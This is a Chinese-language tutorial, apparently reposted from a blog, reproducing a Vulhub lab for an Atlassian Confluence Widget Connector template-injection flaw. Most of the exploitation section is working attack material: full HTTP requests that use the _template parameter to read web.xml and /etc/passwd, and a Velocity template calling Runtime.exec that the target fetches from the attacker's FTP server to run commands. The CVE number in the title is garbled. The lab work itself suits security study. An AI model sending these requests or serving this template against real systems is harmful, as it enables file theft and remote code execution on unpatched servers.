700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > Vulhub漏洞系列:Atlassian Confluence 路径穿越与命令执行漏洞(CVE--3396)

Vulhub漏洞系列:Atlassian Confluence 路径穿越与命令执行漏洞(CVE--3396)

时间:2023-09-30 10:52:35

相关推荐

Vulhub漏洞系列:Atlassian Confluence 路径穿越与命令执行漏洞(CVE--3396)

Vulhub漏洞系列:Atlassian Confluence 路径穿越与命令执行漏洞(CVE--3396)

00.前言01.Atlassian Confluence 简介02.漏洞描述03.漏洞复现**0x01安装****0x02.漏洞复现**

00.前言

这篇文章将对该漏洞进行简介并复现,同时简要说明Vulhub的使用方法,适合小白一起学习,大佬看看就好☺

01.Atlassian Confluence 简介

Atlassian Confluence(简称Confluence)是一个专业的wiki程序(是一种在网络上开放且可供多人协同创作的超文本系统)。它是一个知识管理的工具,通过它可以实现团队成员之间的协作和知识共享。

Confluence 不是一个开源软件,非商业用途可以免费使用。

其使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息,文档协作,集体讨论;目前,Confluence被用于广泛地用于项目团队,开发团队,市场销售团队。

02.漏洞描述

在Widget连接器中的Confluence Server和Data Center中存在一个服务器端模板注入漏洞。 攻击者可以利用此问题在运行漏洞版本的Confluence Server或Data Center的系统上实现服务器端模板注入,路径遍历和远程代码执行。

6.6.12之前的版本,从6.12.3之前的6.7.0版本(6.12.x的固定版本)到6.13.3之前的版本6.13.0(6.13的固定版本)的所有版本的Confluence Server和Confluence数据中心。 x)和6.14.2之前的6.14.0版本(6.14.x的固定版本)开始。

参考:/doc/confluence-security-advisory--03-20-966660264.html

原理:/884/

03.漏洞复现

靶机ip:192.168.10.139,os:Ubuntu 16.04 LTS攻击主机:ip:192.168.10.131, os:Win7,工具:burpsuite

老样子:首先,在vulhub-master中漏洞的相应位置打开终端,输入docker-compose up -d打开环境:

docker-compose up -d

然后输入docker ps查看环境是否打开成功:

docker ps

成功后接下来便可以开始漏洞的复现了。访问http://your-ip:8090会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons):

0x01安装

1:选择“Trial installation”

2:点击“Get an evaluation license”

3:申请一个Confluence Server的测试证书(不要选择Data Center和Addons)

4:申请的时候比较慢,将KEY复制并粘贴到登录页,然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。

5:如果提示填写cluster node,路径填写 /home/confluence即可

6:继续填写数据库账号密码,选择postgres数据库,地址为 db,账号密码均为 postgres

7:接下来的内容随意选择填写···

0x02.漏洞复现

路径穿越:

发送如下数据包即可读取文件 web.xml

POST /rest/tinymce/1/macro/preview HTTP/1.1Host:靶机_ip:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeReferer: http://靶机_ip:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 176{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

可以看出成功读取web.xml~

6.12以前的Confluence没有限制文件读取的协议和路径,修改请求中_template参数的值,即可实现本地文件包含,我们可以使用 file:///etc/passwd来读取文件 :

POST /rest/tinymce/1/macro/preview HTTP/1.1Host:靶机_ip:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeReferer: http://靶机_ip:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 176{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

远程代码执行漏洞:

修改请求中_template参数的值,可以包含远程文件,支持https协议,http目前无法利用 。

先在根目录下添加一个 r.vm文件,内容:

#set ($exp="exp")#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))#set($sc = $exp.getClass().forName("java.util.Scanner"))#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))#if($scan.hasNext())$scan.next()#end

然后开一个简单的ftp服务器,我看到很多文章中用的攻击机都是kali,可以很方便地使用python启动服务:

python -m pip install pyftpdlibpython -m pyftplib -p 21

那win7就麻烦一点但也很简单参考一下百度就好:

/acode/p/5420709.html

(其中一步:身份验证,选择匿名就可!)

修改_ template参数的值为 ftp://192.168.10.131:21(攻击机ip:其端口)/r.vm并在其后加入 command值,设置为 id:

POST /rest/tinymce/1/macro/preview HTTP/1.1Host: localhost:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeReferer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 198{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"/v/23464dc6","width":"1000","height":"1000","_template":"ftp://192.168.10.131:21/r.vm","command":"id"}}}

成功执行命令,复现成功~

修复建议

升级Confluence版本即可

结束语:这是抬锅整理出来的复现过程希望能对大家有帮助☺

参考:/-Anguvia-/p/14618509.html

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。